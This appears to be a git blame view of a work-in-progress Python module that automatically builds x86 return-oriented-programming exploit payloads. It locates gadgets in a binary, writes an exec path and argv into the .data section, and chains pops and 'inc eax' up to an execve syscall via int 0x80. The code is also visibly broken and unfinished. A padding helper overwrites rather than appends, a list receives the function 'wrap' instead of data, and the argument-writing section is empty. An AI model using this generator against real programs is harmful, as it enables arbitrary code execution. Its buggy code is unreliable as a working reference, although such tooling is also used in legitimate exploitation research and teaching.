2020-11-25 15:38:46 +00:00
|
|
|
#!/usr/bin/env python2
|
|
|
|
## -*- coding: utf-8 -*-
|
|
|
|
##
|
|
|
|
## Jonathan Salwan - 2014-05-13
|
|
|
|
##
|
|
|
|
## http://shell-storm.org
|
|
|
|
## http://twitter.com/JonathanSalwan
|
|
|
|
##
|
|
|
|
|
|
|
|
import re
|
|
|
|
from capstone import *
|
2020-11-26 17:55:08 +00:00
|
|
|
from textwrap import wrap
|
|
|
|
import sys
|
2020-11-28 16:19:37 +00:00
|
|
|
import math
|
2020-11-27 01:18:51 +00:00
|
|
|
from struct import pack
|
2020-11-25 15:38:46 +00:00
|
|
|
|
|
|
|
|
|
|
|
class ROPMakerX86(object):
|
2020-11-27 01:18:51 +00:00
|
|
|
def __init__(self, binary, gadgets, paddingLen, outFile, execPath, liboffset=0x0):
|
2020-11-25 18:55:01 +00:00
|
|
|
self.__binary = binary
|
|
|
|
self.__gadgets = gadgets
|
|
|
|
self.paddingLen = paddingLen
|
2020-11-27 01:18:51 +00:00
|
|
|
self.outFile = outFile
|
|
|
|
self.execPath = execPath
|
2020-11-25 15:38:46 +00:00
|
|
|
|
|
|
|
# If it's a library, we have the option to add an offset to the addresses
|
|
|
|
self.__liboffset = liboffset
|
|
|
|
|
|
|
|
self.__generate()
|
|
|
|
|
|
|
|
|
|
|
|
def __lookingForWrite4Where(self, gadgetsAlreadyTested):
|
|
|
|
for gadget in self.__gadgets:
|
|
|
|
if gadget in gadgetsAlreadyTested:
|
|
|
|
continue
|
|
|
|
f = gadget["gadget"].split(" ; ")[0]
|
|
|
|
# regex -> mov dword ptr [r32], r32
|
|
|
|
regex = re.search("mov dword ptr \[(?P<dst>([(eax)|(ebx)|(ecx)|(edx)|(esi)|(edi)]{3}))\], (?P<src>([(eax)|(ebx)|(ecx)|(edx)|(esi)|(edi)]{3}))$", f)
|
|
|
|
if regex:
|
|
|
|
lg = gadget["gadget"].split(" ; ")[1:]
|
|
|
|
try:
|
|
|
|
for g in lg:
|
|
|
|
if g.split()[0] != "pop" and g.split()[0] != "ret":
|
|
|
|
raise
|
|
|
|
# we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer
|
|
|
|
if g != "ret":
|
|
|
|
if g.split()[0] == "ret" and g.split()[1] != "":
|
|
|
|
raise
|
2020-11-25 18:55:01 +00:00
|
|
|
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
|
2020-11-25 15:38:46 +00:00
|
|
|
return [gadget, regex.group("dst"), regex.group("src")]
|
|
|
|
except:
|
|
|
|
continue
|
|
|
|
return None
|
|
|
|
|
|
|
|
def __lookingForSomeThing(self, something):
|
|
|
|
for gadget in self.__gadgets:
|
|
|
|
lg = gadget["gadget"].split(" ; ")
|
|
|
|
if lg[0] == something:
|
|
|
|
try:
|
|
|
|
for g in lg[1:]:
|
|
|
|
if g.split()[0] != "pop" and g.split()[0] != "ret":
|
|
|
|
raise
|
|
|
|
# we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer
|
|
|
|
if g != "ret":
|
|
|
|
if g.split()[0] == "ret" and g.split()[1] != "":
|
|
|
|
raise
|
2020-11-25 18:55:01 +00:00
|
|
|
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
|
2020-11-25 15:38:46 +00:00
|
|
|
return gadget
|
|
|
|
except:
|
|
|
|
continue
|
|
|
|
return None
|
|
|
|
|
|
|
|
def __padding(self, gadget, regAlreadSetted):
|
2020-11-27 01:18:51 +00:00
|
|
|
p = b""
|
|
|
|
|
2020-11-25 15:38:46 +00:00
|
|
|
lg = gadget["gadget"].split(" ; ")
|
|
|
|
for g in lg[1:]:
|
|
|
|
if g.split()[0] == "pop":
|
|
|
|
reg = g.split()[1]
|
|
|
|
try:
|
2020-11-27 01:18:51 +00:00
|
|
|
p = pack("<I", regAlreadSetted[reg])
|
2020-11-25 15:38:46 +00:00
|
|
|
except KeyError:
|
2020-11-27 01:18:51 +00:00
|
|
|
p = pack("<I", 0x41414141)
|
|
|
|
|
|
|
|
return p
|
2020-11-25 15:38:46 +00:00
|
|
|
|
2020-11-28 15:56:14 +00:00
|
|
|
def __write4bytes(self, address, data, data_addr, popDst, popSrc, write4where):
|
|
|
|
p = pack("<I", popDst['vaddr'])
|
|
|
|
p += pack("<I", address)
|
|
|
|
p += self.__padding(popDst, {})
|
|
|
|
|
|
|
|
p += pack("<I", popSrc['vaddr'])
|
|
|
|
p += data
|
|
|
|
p += self.__padding(popSrc, {popDst["gadget"].split()[1]: data_addr}) # Don't overwrite reg dst
|
|
|
|
|
|
|
|
p += pack("<I", write4where['vaddr'])
|
|
|
|
p += self.__padding(write4where, {})
|
|
|
|
|
|
|
|
return p
|
|
|
|
|
|
|
|
def __write4nulls(self, address, popDst, xorSrc, write4where):
|
|
|
|
p = pack("<I", popDst['vaddr'])
|
|
|
|
p += pack("<I", address)
|
|
|
|
p += self.__padding(popDst, {})
|
|
|
|
|
|
|
|
p += pack("<I", xorSrc["vaddr"])
|
|
|
|
p += self.__padding(xorSrc, {})
|
|
|
|
|
|
|
|
p += pack("<I", write4where["vaddr"])
|
|
|
|
p += self.__padding(write4where, {})
|
|
|
|
|
|
|
|
return p
|
|
|
|
|
2020-11-25 15:38:46 +00:00
|
|
|
def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall):
|
|
|
|
sects = self.__binary.getDataSections()
|
|
|
|
dataAddr = None
|
|
|
|
for s in sects:
|
|
|
|
if s["name"] == ".data":
|
|
|
|
dataAddr = s["vaddr"] + self.__liboffset
|
|
|
|
if dataAddr == None:
|
2020-11-25 18:55:01 +00:00
|
|
|
print("\n# [-] Error - Can't find a writable section")
|
2020-11-25 15:38:46 +00:00
|
|
|
return
|
|
|
|
|
2020-11-27 01:18:51 +00:00
|
|
|
# prepend padding
|
|
|
|
p = bytes('A' * self.paddingLen, "ascii")
|
2020-11-25 18:55:01 +00:00
|
|
|
|
2020-11-27 01:18:51 +00:00
|
|
|
command = self.execPath
|
|
|
|
# split command into chunks of 4, prepend with /s as necessary
|
2020-11-26 17:55:08 +00:00
|
|
|
if len(command) % 4 > 0:
|
2020-11-28 16:19:37 +00:00
|
|
|
command = padding_len(len(command)) * "/" + command
|
2020-11-26 17:55:08 +00:00
|
|
|
command_chunks = wrap(command, 4)
|
|
|
|
|
2020-11-28 15:31:36 +00:00
|
|
|
## EXEC (ARG0) \0 ARG1 \0 ARG2 \0 ... \0 PTR->EXEC PTR->ARG1 PTR->ARG2 ... \0 ##
|
|
|
|
|
2020-11-28 16:19:37 +00:00
|
|
|
args = ["test", "test1", "long string example"]
|
|
|
|
chunked_args = []
|
|
|
|
for arg in args:
|
|
|
|
if len(arg) % 4 > 0:
|
|
|
|
arg = arg + padding_len(len(arg)) * "!"
|
|
|
|
chunked_args.append(wrap)
|
2020-11-28 15:31:36 +00:00
|
|
|
|
|
|
|
# & ( "cat" \0 )
|
|
|
|
exec_addr = dataAddr
|
|
|
|
|
|
|
|
# setup argv array
|
|
|
|
# [ & "--run" \0 , & "--verbose" \0 ]
|
|
|
|
# note that the null bytes may be written "earlier", when the string is not len % 4 == 0
|
2020-11-28 16:19:37 +00:00
|
|
|
arg_addr = []
|
2020-11-28 15:31:36 +00:00
|
|
|
acc_addr = exec_addr + len(command) + 4
|
|
|
|
for i, arg in enumerate(args):
|
|
|
|
arg_addr.append(acc_addr)
|
|
|
|
|
2020-11-28 16:19:37 +00:00
|
|
|
acc_addr += len(arg) + padding_len(len(arg)) + 4
|
2020-11-28 15:31:36 +00:00
|
|
|
|
|
|
|
# & ( [ ptr -> "cat" ] ++ arg_addr )
|
|
|
|
argv_addr = acc_addr
|
|
|
|
|
|
|
|
env_addr = argv_addr + (len(args) * 4) + 4
|
|
|
|
|
|
|
|
del acc_addr
|
|
|
|
|
|
|
|
###################
|
|
|
|
# WRITE EXEC PATH #
|
|
|
|
###################
|
|
|
|
|
2020-11-27 01:18:51 +00:00
|
|
|
# write the command
|
2020-11-26 17:55:08 +00:00
|
|
|
for i, chunk in enumerate(command_chunks):
|
2020-11-28 15:31:36 +00:00
|
|
|
address = exec_addr + (i * 4)
|
2020-11-26 17:55:08 +00:00
|
|
|
|
2020-11-28 15:56:14 +00:00
|
|
|
# write 4 char chunk of the command
|
|
|
|
p += self.__write4bytes(
|
|
|
|
address,
|
|
|
|
bytes(chunk, "ascii"),
|
|
|
|
dataAddr, popDst, popSrc, write4where
|
|
|
|
)
|
2020-11-26 17:55:08 +00:00
|
|
|
|
|
|
|
|
2020-11-28 15:31:36 +00:00
|
|
|
# write null byte after exec path string
|
2020-11-28 15:56:14 +00:00
|
|
|
p += self.__write4nulls(
|
|
|
|
exec_addr + len(command),
|
|
|
|
popDst, xorSrc, write4where
|
|
|
|
)
|
2020-11-25 15:38:46 +00:00
|
|
|
|
2020-11-28 15:31:36 +00:00
|
|
|
##########################
|
|
|
|
# Write Argument Strings #
|
|
|
|
##########################
|
|
|
|
|
2020-11-28 16:19:37 +00:00
|
|
|
|
2020-11-26 17:55:08 +00:00
|
|
|
|
2020-11-28 15:31:36 +00:00
|
|
|
####################
|
|
|
|
# Write Argv Array #
|
|
|
|
####################
|
|
|
|
|
2020-11-28 15:56:14 +00:00
|
|
|
# write argv[0] = exec_addr
|
|
|
|
p += self.__write4bytes(
|
|
|
|
argv_addr,
|
|
|
|
pack('<I', exec_addr),
|
|
|
|
dataAddr, popDst, popSrc, write4where
|
|
|
|
)
|
|
|
|
|
|
|
|
# write null byte after argv array
|
|
|
|
p += self.__write4nulls(
|
|
|
|
argv_addr + (len(args) * 4) + 4,
|
|
|
|
popDst, xorSrc, write4where
|
|
|
|
)
|
2020-11-25 15:38:46 +00:00
|
|
|
|
2020-11-28 15:31:36 +00:00
|
|
|
##################################
|
|
|
|
# Setup execve Args in Registers #
|
|
|
|
##################################
|
2020-11-26 17:55:08 +00:00
|
|
|
|
2020-11-28 15:31:36 +00:00
|
|
|
# ebx = exec_path
|
|
|
|
p += pack("<I", popEbx["vaddr"])
|
|
|
|
p += pack("<I", exec_addr) # @ .data
|
|
|
|
p += self.__padding(popEbx, {})
|
2020-11-25 15:38:46 +00:00
|
|
|
|
2020-11-28 15:31:36 +00:00
|
|
|
# ecx = ptr_to_argv
|
2020-11-27 01:18:51 +00:00
|
|
|
p += pack('<I', popEcx["vaddr"])
|
2020-11-28 15:31:36 +00:00
|
|
|
p += pack('<I', argv_addr)
|
2020-11-27 01:18:51 +00:00
|
|
|
p += self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx
|
2020-11-25 15:38:46 +00:00
|
|
|
|
2020-11-28 15:31:36 +00:00
|
|
|
# edx = _ (empty for env vars)
|
2020-11-27 01:18:51 +00:00
|
|
|
p += pack('<I', popEdx["vaddr"])
|
2020-11-28 15:31:36 +00:00
|
|
|
p += pack('<I', env_addr)
|
2020-11-27 01:18:51 +00:00
|
|
|
p += self.__padding(popEdx, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
|
2020-11-25 15:38:46 +00:00
|
|
|
|
2020-11-28 15:31:36 +00:00
|
|
|
# eax = 0
|
2020-11-27 01:18:51 +00:00
|
|
|
p += pack('<I', xorEax["vaddr"])
|
|
|
|
p += self.__padding(xorEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
|
2020-11-25 15:38:46 +00:00
|
|
|
|
2020-11-28 15:31:36 +00:00
|
|
|
# eax ++-> 11
|
2020-11-25 15:38:46 +00:00
|
|
|
for i in range(11):
|
2020-11-27 01:18:51 +00:00
|
|
|
p += pack('<I', incEax["vaddr"])
|
|
|
|
p += self.__padding(incEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
|
|
|
|
|
|
|
|
p += pack('<I', syscall["vaddr"])
|
2020-11-25 15:38:46 +00:00
|
|
|
|
2020-11-25 18:55:01 +00:00
|
|
|
|
2020-11-27 01:18:51 +00:00
|
|
|
with open(self.outFile, "wb") as f:
|
|
|
|
f.write(p)
|
2020-11-25 15:38:46 +00:00
|
|
|
|
|
|
|
def __generate(self):
|
|
|
|
|
|
|
|
# To find the smaller gadget
|
|
|
|
self.__gadgets.reverse()
|
|
|
|
|
2020-11-25 18:55:01 +00:00
|
|
|
print("\n# ROP chain generation\n# ===========================================================")
|
2020-11-25 15:38:46 +00:00
|
|
|
|
2020-11-25 18:55:01 +00:00
|
|
|
print("\n# - Step 1 -- Write-what-where gadgets\n")
|
2020-11-25 15:38:46 +00:00
|
|
|
|
|
|
|
gadgetsAlreadyTested = []
|
|
|
|
while True:
|
|
|
|
write4where = self.__lookingForWrite4Where(gadgetsAlreadyTested)
|
|
|
|
if not write4where:
|
2020-11-25 18:55:01 +00:00
|
|
|
print("# [-] Can't find the 'mov dword ptr [r32], r32' gadget")
|
2020-11-25 15:38:46 +00:00
|
|
|
return
|
|
|
|
|
|
|
|
popDst = self.__lookingForSomeThing("pop %s" %(write4where[1]))
|
|
|
|
if not popDst:
|
2020-11-25 18:55:01 +00:00
|
|
|
print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[1]))
|
2020-11-25 15:38:46 +00:00
|
|
|
gadgetsAlreadyTested += [write4where[0]]
|
|
|
|
continue
|
|
|
|
|
|
|
|
popSrc = self.__lookingForSomeThing("pop %s" %(write4where[2]))
|
|
|
|
if not popSrc:
|
2020-11-25 18:55:01 +00:00
|
|
|
print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2]))
|
2020-11-25 15:38:46 +00:00
|
|
|
gadgetsAlreadyTested += [write4where[0]]
|
|
|
|
continue
|
|
|
|
|
|
|
|
xorSrc = self.__lookingForSomeThing("xor %s, %s" %(write4where[2], write4where[2]))
|
|
|
|
if not xorSrc:
|
2020-11-25 18:55:01 +00:00
|
|
|
print("# [-] Can't find the 'xor %s, %s' gadget. Try with another 'mov [r], r'\n" %(write4where[2], write4where[2]))
|
2020-11-25 15:38:46 +00:00
|
|
|
gadgetsAlreadyTested += [write4where[0]]
|
|
|
|
continue
|
|
|
|
else:
|
|
|
|
break
|
|
|
|
|
2020-11-25 18:55:01 +00:00
|
|
|
print("\n# - Step 2 -- Init syscall number gadgets\n")
|
2020-11-25 15:38:46 +00:00
|
|
|
|
|
|
|
xorEax = self.__lookingForSomeThing("xor eax, eax")
|
|
|
|
if not xorEax:
|
2020-11-25 18:55:01 +00:00
|
|
|
print("# [-] Can't find the 'xor eax, eax' instruction")
|
2020-11-25 15:38:46 +00:00
|
|
|
return
|
|
|
|
|
|
|
|
incEax = self.__lookingForSomeThing("inc eax")
|
|
|
|
if not incEax:
|
2020-11-25 18:55:01 +00:00
|
|
|
print("# [-] Can't find the 'inc eax' instruction")
|
2020-11-25 15:38:46 +00:00
|
|
|
return
|
|
|
|
|
2020-11-25 18:55:01 +00:00
|
|
|
print("\n# - Step 3 -- Init syscall arguments gadgets\n")
|
2020-11-25 15:38:46 +00:00
|
|
|
|
|
|
|
popEbx = self.__lookingForSomeThing("pop ebx")
|
|
|
|
if not popEbx:
|
2020-11-25 18:55:01 +00:00
|
|
|
print("# [-] Can't find the 'pop ebx' instruction")
|
2020-11-25 15:38:46 +00:00
|
|
|
return
|
|
|
|
|
|
|
|
popEcx = self.__lookingForSomeThing("pop ecx")
|
|
|
|
if not popEcx:
|
2020-11-25 18:55:01 +00:00
|
|
|
print("# [-] Can't find the 'pop ecx' instruction")
|
2020-11-25 15:38:46 +00:00
|
|
|
return
|
|
|
|
|
|
|
|
popEdx = self.__lookingForSomeThing("pop edx")
|
|
|
|
if not popEdx:
|
2020-11-25 18:55:01 +00:00
|
|
|
print("# [-] Can't find the 'pop edx' instruction")
|
2020-11-25 15:38:46 +00:00
|
|
|
return
|
|
|
|
|
2020-11-25 18:55:01 +00:00
|
|
|
print("\n# - Step 4 -- Syscall gadget\n")
|
2020-11-25 15:38:46 +00:00
|
|
|
|
|
|
|
syscall = self.__lookingForSomeThing("int 0x80")
|
|
|
|
if not syscall:
|
2020-11-25 18:55:01 +00:00
|
|
|
print("# [-] Can't find the 'syscall' instruction")
|
2020-11-25 15:38:46 +00:00
|
|
|
return
|
|
|
|
|
2020-11-25 18:55:01 +00:00
|
|
|
print("\n# - Step 5 -- Build the ROP chain\n")
|
2020-11-25 15:38:46 +00:00
|
|
|
|
|
|
|
self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall)
|
|
|
|
|
2020-11-28 16:19:37 +00:00
|
|
|
# def round_n(x, n):
|
|
|
|
# return int(math.ceil(x / n) * n)
|
|
|
|
|
|
|
|
def padding_len(x):
|
|
|
|
return -(x % -4)
|